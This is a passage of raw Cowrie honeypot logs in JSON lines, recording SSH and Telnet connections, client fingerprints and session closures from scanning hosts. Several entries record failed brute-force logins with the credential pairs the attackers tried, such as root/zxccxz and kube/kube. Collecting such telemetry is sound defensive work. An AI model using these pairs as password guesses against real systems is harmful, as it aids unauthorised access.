@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:37.922887Z","src_ip":"103.27.238.120","session":"87754e073265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxccxz","message":"login attempt [root/zxccxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:38.759654Z","src_ip":"103.27.238.120","session":"87754e073265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.63272714614868,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:39.485604Z","src_ip":"192.119.13.58","session":"569b3b3424d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47252,"dst_ip":"10.17.0.5","dst_port":23,"session":"34dd3f32f783","protocol":"telnet","message":"New connection: 192.119.13.58:47252 (10.17.0.5:23) [session: 34dd3f32f783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:39.981098Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:40.038540Z","src_ip":"103.27.238.120","session":"87754e073265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31265330314636,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:40.986600Z","src_ip":"192.119.13.58","session":"ee9ced67dceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52448,"dst_ip":"10.17.0.5","dst_port":23,"session":"37bca8f775d0","protocol":"telnet","message":"New connection: 192.119.13.58:52448 (10.17.0.5:23) [session: 37bca8f775d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:41.121212Z"}
{"eventid":"cowrie.session.closed","duration":36.110924243927,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:41.840657Z","src_ip":"192.119.13.58","session":"073bad369db9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":58484,"dst_ip":"10.17.0.5","dst_port":22,"session":"b86e8d5e06a4","protocol":"ssh","message":"New connection: 49.51.73.108:58484 (10.17.0.5:22) [session: b86e8d5e06a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:43.247027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:43.251730Z","src_ip":"49.51.73.108","session":"b86e8d5e06a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:43.320278Z","src_ip":"49.51.73.108","session":"b86e8d5e06a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.69406580924988,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:43.467038Z","src_ip":"192.119.13.58","session":"e38ab185d9a2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"25802580","message":"login attempt [ubuntu/25802580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:43.623378Z","src_ip":"49.51.73.108","session":"b86e8d5e06a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.996113777160645,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:44.657526Z","src_ip":"192.119.13.58","session":"f622d027bc7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:44.695703Z","src_ip":"49.51.73.108","session":"b86e8d5e06a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.36797881126404,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:44.971578Z","src_ip":"192.119.13.58","session":"45fe98d1232d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39530,"dst_ip":"10.17.0.5","dst_port":23,"session":"a12c387da974","protocol":"telnet","message":"New connection: 192.119.13.58:39530 (10.17.0.5:23) [session: a12c387da974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:44.995954Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":57252,"dst_ip":"10.17.0.5","dst_port":22,"session":"0df7255a5c96","protocol":"ssh","message":"New connection: 193.39.208.26:57252 (10.17.0.5:22) [session: 0df7255a5c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:47.699908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:47.704585Z","src_ip":"193.39.208.26","session":"0df7255a5c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:47.787466Z","src_ip":"193.39.208.26","session":"0df7255a5c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50842,"dst_ip":"10.17.0.5","dst_port":23,"session":"437a494a0a79","protocol":"telnet","message":"New connection: 192.119.13.58:50842 (10.17.0.5:23) [session: 437a494a0a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:48.049116Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"000000","message":"login attempt [ftpuser/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:48.149490Z","src_ip":"193.39.208.26","session":"0df7255a5c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:49.235365Z","src_ip":"193.39.208.26","session":"0df7255a5c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53580,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c8f97c7c89a","protocol":"telnet","message":"New connection: 192.119.13.58:53580 (10.17.0.5:23) [session: 9c8f97c7c89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:55.989214Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60772,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0e9e97fe62f","protocol":"telnet","message":"New connection: 192.119.13.58:60772 (10.17.0.5:23) [session: b0e9e97fe62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:57.848639Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32962,"dst_ip":"10.17.0.5","dst_port":23,"session":"3416525c46c6","protocol":"telnet","message":"New connection: 192.119.13.58:32962 (10.17.0.5:23) [session: 3416525c46c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:57.967373Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43586,"dst_ip":"10.17.0.5","dst_port":23,"session":"b306f0e9b06d","protocol":"telnet","message":"New connection: 192.119.13.58:43586 (10.17.0.5:23) [session: b306f0e9b06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:00.721058Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44310,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d35dda10817","protocol":"telnet","message":"New connection: 192.119.13.58:44310 (10.17.0.5:23) [session: 8d35dda10817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:01.907538Z"}
{"eventid":"cowrie.session.closed","duration":40.507044315338135,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:03.374483Z","src_ip":"192.119.13.58","session":"26503324c4d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56012,"dst_ip":"10.17.0.5","dst_port":23,"session":"f411eb157775","protocol":"telnet","message":"New connection: 192.119.13.58:56012 (10.17.0.5:23) [session: f411eb157775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:03.911132Z"}
{"eventid":"cowrie.session.closed","duration":44.93571591377258,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:07.048365Z","src_ip":"192.119.13.58","session":"08cd02cd6527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.9709198474884,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:09.187697Z","src_ip":"192.119.13.58","session":"9da34fc12a04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53002,"dst_ip":"10.17.0.5","dst_port":23,"session":"42210703f834","protocol":"telnet","message":"New connection: 192.119.13.58:53002 (10.17.0.5:23) [session: 42210703f834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:10.095579Z"}
{"eventid":"cowrie.session.closed","duration":46.42159056663513,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:10.518543Z","src_ip":"192.119.13.58","session":"80065e9d7963","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90299320220947,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:14.883947Z","src_ip":"192.119.13.58","session":"34dd3f32f783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.09438490867615,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:16.714083Z","src_ip":"192.119.13.58","session":"0a1a67aa8939","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.120429277420044,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:17.116292Z","src_ip":"192.119.13.58","session":"a12c387da974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54260,"dst_ip":"10.17.0.5","dst_port":23,"session":"14964aacb213","protocol":"telnet","message":"New connection: 192.119.13.58:54260 (10.17.0.5:23) [session: 14964aacb213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:17.725683Z"}
{"eventid":"cowrie.session.closed","duration":47.7749388217926,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:19.855379Z","src_ip":"192.119.13.58","session":"2f7ca2c6deee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36228,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a3f70f4d3b1","protocol":"telnet","message":"New connection: 192.119.13.58:36228 (10.17.0.5:23) [session: 3a3f70f4d3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:20.217514Z"}
{"eventid":"cowrie.session.closed","duration":2.8998467922210693,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:20.625434Z","src_ip":"192.119.13.58","session":"14964aacb213","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.38966774940491,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:21.263308Z","src_ip":"192.119.13.58","session":"fac7af14874c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.397831201553345,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:21.518926Z","src_ip":"192.119.13.58","session":"37bca8f775d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":42608,"dst_ip":"159.203.135.109","dst_port":22,"session":"8edf9f1072a5","protocol":"ssh","message":"New connection: 193.37.70.224:42608 (159.203.135.109:22) [session: 8edf9f1072a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:25.132940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:25.139874Z","src_ip":"193.37.70.224","session":"8edf9f1072a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:25.235913Z","src_ip":"193.37.70.224","session":"8edf9f1072a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"benjamin","message":"login attempt [root/benjamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:25.533541Z","src_ip":"193.37.70.224","session":"8edf9f1072a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:26.634876Z","src_ip":"193.37.70.224","session":"8edf9f1072a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.79375147819519,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:34.842766Z","src_ip":"192.119.13.58","session":"437a494a0a79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.04289102554321,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:36.010185Z","src_ip":"192.119.13.58","session":"3416525c46c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46710,"dst_ip":"10.17.0.5","dst_port":23,"session":"4babf77aa782","protocol":"telnet","message":"New connection: 192.119.13.58:46710 (10.17.0.5:23) [session: 4babf77aa782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:36.140628Z"}
{"eventid":"cowrie.session.closed","duration":32.44249725341797,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:36.353544Z","src_ip":"192.119.13.58","session":"f411eb157775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.79170513153076,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:37.780816Z","src_ip":"192.119.13.58","session":"9c8f97c7c89a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.28064799308777,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:39.001568Z","src_ip":"192.119.13.58","session":"b306f0e9b06d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":53868,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ce78200ab58","protocol":"ssh","message":"New connection: 45.78.204.254:53868 (10.17.0.5:22) [session: 3ce78200ab58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:41.702983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:41.707425Z","src_ip":"45.78.204.254","session":"3ce78200ab58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46602,"dst_ip":"10.17.0.5","dst_port":23,"session":"7893c6e179c8","protocol":"telnet","message":"New connection: 192.119.13.58:46602 (10.17.0.5:23) [session: 7893c6e179c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:42.880634Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47950,"dst_ip":"10.17.0.5","dst_port":23,"session":"10cde87ccf02","protocol":"telnet","message":"New connection: 192.119.13.58:47950 (10.17.0.5:23) [session: 10cde87ccf02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:43.208519Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:43.323153Z","src_ip":"45.78.204.254","session":"3ce78200ab58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55878,"dst_ip":"10.17.0.5","dst_port":23,"session":"5886d572cd7c","protocol":"telnet","message":"New connection: 192.119.13.58:55878 (10.17.0.5:23) [session: 5886d572cd7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:45.073605Z"}
{"eventid":"cowrie.session.closed","duration":47.78640174865723,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:45.634944Z","src_ip":"192.119.13.58","session":"b0e9e97fe62f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kube","password":"kube","message":"login attempt [kube/kube] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:45.948329Z","src_ip":"45.78.204.254","session":"3ce78200ab58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33122,"dst_ip":"10.17.0.5","dst_port":23,"session":"30b1e401735f","protocol":"telnet","message":"New connection: 192.119.13.58:33122 (10.17.0.5:23) [session: 30b1e401735f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:46.404181Z"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:47.181914Z","src_ip":"45.78.204.254","session":"3ce78200ab58","protocol":"ssh"}
